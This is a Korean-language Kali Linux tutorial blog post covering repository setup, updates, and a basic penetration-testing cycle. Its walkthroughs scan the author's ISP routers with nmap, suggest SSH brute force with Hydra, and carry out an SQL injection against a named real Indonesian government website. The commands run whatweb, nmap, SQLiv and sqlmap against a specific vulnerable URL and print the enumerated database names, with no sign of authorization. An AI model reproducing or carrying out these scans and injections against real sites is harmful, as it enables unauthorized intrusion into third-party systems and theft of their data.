칼리 리눅스 튜토리얼

Kali Linux Tutorial



전문가이거나 적어도 Linux, 명령 및 환경에 익숙하고 컴퓨터에 Kali Linux를 설치하고 Kali Linux의 마스터 또는 Ethical Hacker가 되고 싶다면 올바른 위치에 있습니다. 이 기사에서는 아직 Kali에 익숙하지 않은 Linux 사용자를 위한 Kali Linux 튜토리얼을 다루고 Kali를 사용하는 동안 해킹 및 보안 테스트에 사용되는 몇 가지 기본 기술에 대해 설명합니다.

칼리 리눅스란?

칼리 리눅스( 2013년 3월 13일 첫 출시 )는 보안 회사 Offensive Security에서 개발한 공식적으로 BackTrack으로 알려졌으며 Debian의 Testing 브랜치를 기반으로 하는 포렌식 및 보안 중심 배포판입니다. Kali Linux는 침투 테스트, 데이터 복구 및 위협 탐지를 염두에 두고 설계되었습니다. 이 프로젝트는 배포 사용자에게 최신 보안 유틸리티를 제공하기 위해 올해 초 롤링 릴리스 모델로 전환했습니다. Kali Linux는 무료이며 앞으로도 계속될 것입니다. 600개 이상의 침투 테스트 도구가 포함되어 있습니다.







왜 칼리 리눅스인가? 당신에게 맞습니까?

Kali Linux는 최근에 많은 인기를 얻었습니다. 그리고 그 뒤에는 이유가 있습니다. 해킹은 대중 문화에서 멋진 일로 돌아왔고 이는 TV 시리즈 Mr. Robot에 크게 기인할 수 있습니다. Mr. Robot의 인기는 Kali Linux가 신규 사용자를 확보하는 데 도움이 되었습니다. Linux 또는 컴퓨터 보안과 관련된 지식이 거의 없는 사람들이 이제 Kali를 주요 Linux 배포판으로 사용하려고 합니다.



우리의 가장 진보된 침투 테스트 배포판. – Kali Linux 개발자. (페이지 맨 위에 있는 Kali.org 메인 페이지에 작성되어 있습니다.) 그 진술에서 무엇을 얻습니까? APTD(Advanced Penetration Testing Distribution)를 눈치채셨나요? 여기에 문자 그대로 해킹이라는 용어는 없습니다. Kali Linux는 다른 Linux 배포판과 동일합니다. 간단히 말해서, 보안 관련 도구로 가득 차 있고 네트워크 및 컴퓨터 보안 전문가를 대상으로 하는 Linux 배포판입니다. 그러나 Kali Linux의 사용은 보안 및 포렌식에만 중점을 둡니다.



Linux 배포판은 Linux 커널, 핵심 유틸리티 및 응용 프로그램 세트 및 일부 기본 설정을 포함하는 번들에 불과합니다. 따라서 Kali Linux는 제공된 대부분의 도구를 모든 Linux 배포판에 설치할 수 있다는 점에서 고유한 것을 제공하지 않습니다.





Kali Linux는 전문적인 침투 테스트 및 보안 감사의 요구 사항을 충족하도록 특별히 설계되었습니다. Linux 사용자의 특정 하위 집합을 대상으로 합니다. 침투 테스터, 해커 등 개발, 웹 디자인, 게임, 사무실 등의 범용 Linux 데스크톱용으로 Kali를 기대하는 경우 권장하지 않는 배포판입니다. .

칼리 리눅스를 설치한 후 해야 할 일

Kali Linux를 설치한 후 이것을 가지고 무엇을 해야 하는지 궁금할 수 있습니다. 모두가 이 문제에 직면해 있습니다. 걱정하지 마세요.



1단계: 저장소 설정

첫째, 이미 알고 있을 수도 있지만 저장소를 올바르게 설정하는 것이 중요합니다. 내가 말했듯이 Kali Linux 롤링 릴리스 모델은 배포판 사용자에게 최신 보안 유틸리티를 제공하기 위한 노력의 일환입니다. 일반적으로 Kali Linux를 새로 설치한 경우 저장소는 설치에 사용 중인 미디어를 참조합니다. 이 문제를 해결하려면 저장소를 공식 Kali Linux 저장소로 변경해야 합니다. 필요한 파일은 다음 위치에 있습니다. /etc/apt/sources.list . 리프패드 텍스트 편집기로 파일을 열고 기본 리포지토리를 다음 공식 Kali Rolling 리포지토리로 바꿉니다.

deb http://http.kali.org/kali kali-rolling main contrib non-free # For source package access, uncomment the following line # deb-src http://http.kali.org/kali kali-rolling main contrib non-free 

2단계: 칼리 ​​리눅스 업데이트 및 업그레이드

업데이트 및 시스템 업그레이드 후 Kali Linux를 최신 버전으로 동기화하십시오. 그렇게하려면 터미널을 열고 다음을 입력하십시오.

apt update -y && apt upgrade -y && apt dist-upgrade 

apt update 명령은 리포지토리에서 패키지 목록 정보를 다운로드하고 가져오고 업데이트하여 최신 버전의 패키지 및 해당 종속성에 대한 정보를 얻습니다.

apt upgrade 명령은 종속성에 대한 오류가 없는 한 설치된 Kali Linux 패키지의 최신 버전 패키지를 다운로드하여 설치합니다.

apt dist-upgrade는 상관없이 모든 패키지를 사용 가능한 최신 버전으로 업데이트합니다. 또한 필요에 따라 종속성을 설치 및 제거합니다(물론 패키지를 충족하기 위해 종속성을 설치하지만 업데이트된 패키지에 종속성이 더 이상 필요하지 않은 경우 고아가 된 종속성도 제거합니다.

KALI LINUX를 사용한 기본 침투 테스트 개념

이러한 단계를 성공적으로 완료한 후 대상 시스템을 기반으로 하는 Kali Linux로 다음과 같은 세 가지 주요 작업을 수행할 수 있습니다.

  1. 무선 네트워크 해킹 – 와이파이 해킹, 피싱, ARP 중독 등
  2. 웹 앱 해킹 – SQL Injection, CSRF(Cross-Site Request Forgery), 웹 피싱 등
  3. 기기 해킹 – 대상 기계를 악용하여 제어할 수 있습니다.

IoT 해킹을 포함하지 않았다고 해서 Kali Linux에 그런 목적이 없다는 의미는 아닙니다. 그러나 말 그대로 Device Hacking에도 속할 수 있습니다. 장치는 물리적인 모양과 형태를 가지고 있기 때문입니다. 이 튜토리얼에서는 그에 대한 기본 지식을 다뤘습니다. Kali Linux는 거대하기 때문에 한 기사에 다 담을 수 없습니다!

침투 테스트 주기 또는 절차도 알아야 합니다. 그들은:

  1. 정찰 - 정보 수집
  2. 스캐닝
  3. 작업
  4. 착취 후

칼리 리눅스를 이용한 무선 네트워크 해킹

무선 네트워크 해킹의 경우 피해자가 다를 수 있습니다. 무선 네트워크는 ISP(Internet Service Provider), 라우터와 그 동료(모뎀, 허브, 스위치 등) 및 클라이언트(사용자, CCTV, 원격 컴퓨터 등)와 같은 여러 요소로 구성되기 때문입니다. 그들은 또한 취약한 가능성을 가지고 있습니다.

인터넷은 게이트웨이로 함께 연결된 네트워크 하드웨어의 크고 복잡한 집합체입니다. 패킷이 따라가는 경로를 추적하는 것은 특정 호스트 이름 또는 대상 IP 주소에 도달하는 방법을 아는 데 중요합니다.

Kali Linux에는 Traceroute라는 내장 도구가 있습니다. Traceroute는 IP 프로토콜 TTL(Time to Live) 필드를 활용하고 일부 호스트에 대한 경로를 따라 각 게이트웨이에서 ICMP TIME_EXCEEDED 응답을 유도하려고 시도합니다. Traceroute는 작은 TTL(Time to Live)로 프로브 패킷을 시작한 다음 게이트웨이에서 ICMP 시간 초과 응답을 수신하여 IP 패킷이 일부 인터넷 호스트로 가는 경로를 추적하려고 시도합니다. Traceroute를 사용하여 연결을 처리하는 데 사용되는 ISP 라우터를 추적하는 방법과 예를 보여 드리겠습니다.

1. 인정

정보수집이 가장 중요한 도약이니 이 단계를 놓치지 마세요. 이 단계에서 우리의 목적은 얻을 수 있는 유용한 정보를 최대한 얻는 것이며 이 정보는 다음 단계에 사용됩니다.

먼저 터미널을 열고 이 명령을 입력하여 사이트로 가는 길을 추적하기 시작합니다. 이 경우 사이트를 google.com으로 설정합니다.

traceroute google.com 

Traceroute 스크린샷

2. 스캐닝

명령을 실행하면 패킷이 순서대로 어디로 가는지 나열됩니다. 위에서 볼 수 있듯이 나는 그 중 하나가 내 ISP 서버인 3개의 홉을 얻었습니다. 목록의 첫 번째 IP는 게이트웨이 역할을 하는 라우터입니다. 그리고 다음 두 개는 내 ISP에 속합니다. 이제 Nmap을 사용하여 실행 중인 서비스를 확인해 보겠습니다. 따라서 우리가 스캔할 대상은 10.152.192.1 그리고 10.13.223.102 . 터미널에서 다음 명령을 실행했습니다.

nmap -v -sS [IP Target] -Pn 

명령의 인수를 분석해 보겠습니다.

-v = 상세 표시 모드 활성화

-sS = TCP SYN 스캔 기술 사용

-Pn = 모든 호스트를 온라인으로 취급 - 호스트 검색 건너뛰기

그리고 여기 우리가 얻은 결과가 있습니다.

nmap 스크린샷 2

슬프게도 모든 포트는 10.152.192.1 필터링된다는 것은 들어오는 모든 TCP 연결이 이 IP의 IDS 또는 방화벽에 의해 차단된다는 의미입니다. 이제 두 번째 대상에 대해 다시 스캔해 보겠습니다.

nmap 스크린샷 1

3. 운영

이 절차에서는 실제 착취를 수행하려는 것이 아니라 대신 방법을 보여줍니다. 위의 Nmap 스캔 결과를 기반으로 이 IP에 SSH 서버가 포트 22에서 실행되고 있으며 열려 있음을 알 수 있습니다. 무차별 대입이 가능합니다, 하하! 우리는 구멍을 찾았습니다. 이 SSH 서버는 액세스를 시도할 수 있는 가능한 구멍입니다. Kali Linux에는 SSH 프로토콜에 대한 무차별 대입 공격 또는 사전 공격을 지원하는 여러 도구가 있습니다. 가장 인기 있고 강력한 것은 히드라입니다.

좋습니다. 이것은 대상 서버에 대한 침투 테스트를 수행하는 기본 절차였습니다. 여기의 예에서는 제 ISP 서버입니다.

칼리 리눅스를 이용한 웹 앱 해킹

사실 이것에 열광한다면 DWVA(Damn Vulnerable Web App)를 Kali Linux에 설치하여 해킹 환경을 설정할 수 있습니다. 취약점이 많은 PHP/MySQL 웹 애플리케이션입니다. 주요 목표는 보안 전문가가 법률 환경에서 자신의 기술과 도구를 테스트하고 웹 개발자가 웹 애플리케이션 보안 프로세스를 더 잘 이해할 수 있도록 돕는 것입니다. 여기 Github에서 DWVA를 무료로 받을 수 있습니다. https://github.com/ethicalhack3r/DVWA.

지금은 실제 사이트에서 웹 앱 해킹을 수행하는 방법을 보여 드리겠습니다. 단, 교육용으로만 사용한다고 약속해 주십시오. SQL 인젝션을 사용하여 실제 사이트에 대한 실제 공격을 시뮬레이션합니다.

전제 조건

다루는 도구:

– Whatweb(사전 설치)

– Nmap(사전 설치됨)

– SQLiv(수동 설치)

– SQLMap(사전 설치)

Github에서 사용할 수 있는 추가 도구가 하나 더 필요합니다. https://github.com/Hadesy2k/sqliv, 먼저 Kali Linux에 설치합니다. 특정 도메인(크롤링 포함)을 제공하여 대상 스캔을 수행할 수 있는 SQLiv라는 이 도구. 터미널에 다음을 입력하십시오.

git clone https://github.com/Hadesy2k/sqliv.git cd sqliv && sudo python2 setup.py -i 

대상: www.trenggalekkab.go.id

1. 인정

우리가 얻을 수 있는 최대한 많은 유용한 정보를 수집합니다. 웹 페이지를 열고 이 사이트에서 실행 중인 애플리케이션을 감지할 수 있습니다. 먼저 어떤 사이트인지 확인해보자. 우리는 그것을 하기 위해 whatweb을 사용할 것입니다.

whatweb www.trenggalekkab.go.id 

무슨 웹 스크린샷

위의 결과에서 볼 수 있듯이 타겟은 인도네시아에 있습니다. 실행 중입니다 아파치 v2.2.27 웹 서버에 있으며 또한 PHP v5.4.31 , IP 주소가 있습니다. 103.247.21.142 . 알겠습니다. 메모해 두세요. 웹 페이지를 방문하여 구성된 파일이나 페이지, URL 매개변수 또는 로그인 양식을 찾아야 할 수도 있습니다. 지금은 스캔하는 다음 단계를 위해 해당 IP 주소가 필요합니다.

2. 스캐닝

이전과 마찬가지로 Nmap을 다시 사용하여 대상에서 실행 중인 포트와 서비스를 검색합니다.

nmap -v -sS 103.247.21.142 

우리가 얻은 결과는 다음과 같습니다.

Completed SYN Stealth Scan at 21:22, 261.93s elapsed (1000 total ports) Nmap scan report for ip-103-247-21-142.wifian.net.id (103.247.21.142) Host is up (0.069s latency). Not shown: 985 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 212/tcp open anet 443/tcp open https 465/tcp open smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s 3128/tcp filtered squid-http  3306/tcp open mysql  

대상에서 각 서비스를 처리하는 열린 포트가 많이 있지만 눈길을 끄는 것은 포트 3306의 mysql 서비스입니다. 이 사이트에서 사용 중인 것으로 표시됩니다. mysql 데이터베이스의 정보를 관리합니다. 그렇다면 이 사이트에 SQL Injection 취약점이 있는지 궁금합니다. 그래서 방금 설치한 SQLiv를 사용하여 사이트를 다시 스캔합니다. 나는 다음 명령을 입력했다.

sqliv -t www.trenggalekkab.go.id 

SQL해킹 스크린샷1

이 사이트에서 2개의 가능한 SQL 취약 URL을 찾았습니다. 해당 URL을 기록해 두십시오.

3. 운영

좋습니다. SQL 취약한 URL이 있고 실행할 준비가 되었습니다. 그렇게 하기 위해 우리는 SQLMap을 사용할 것입니다. 구문은 다음과 같습니다.

sqlmap [Vulnerable URL] --dbs 

명령은 다음과 같아야 합니다.

 sqlmap -u "http://www.trenggalekkab.go.id/berita.php?page=208" --dbs 

–dbs 인수는 SQLMap에 대상 데이터베이스를 가져오도록 지시하는 것입니다. 우리가 얻은 결과는 다음과 같습니다.

[INFO] the back-end DBMS is MySQL web application technology: PHP 5.4.31, Apache 2.2.27 back-end DBMS: MySQL 5 [21:46:04] [INFO] fetching database names [21:46:04] [INFO] the SQL query used returns 2 entries [21:46:04] [INFO] resumed: information_schema [21:46:04] [INFO] resumed: trengkab_trg available databases [2]: [*] information_schema [*] trengkab_trg 

SQLMap은 2개의 데이터베이스를 찾았지만 그 중 관리자 자격 증명 계정과 같은 민감한 데이터가 포함된 데이터베이스는 하나만 찾았습니다. 그것은 trengkab_trg에 있습니다. 데이터베이스를 찾은 후에도 우리가 해야 할 또 다른 단계가 있습니다. 즉, 테이블과 열을 찾는 것이고 마지막 단계는 데이터를 덤프하는 것입니다. 이 대상을 사용하여 이 섹션에서 방법을 보여주지 않겠습니다. 최소한 공격 주기에 대한 기본 아이디어와 몇 가지 도구를 알고 있습니다.

기기 해킹

이 사이트의 향후 기사에서는 기기 해킹에 대해 다룰 예정이니 계속 지켜봐 주시기 바랍니다. 사전 경고로 이에 대해 Python을 알고 있는지 확인하고 싶을 것입니다.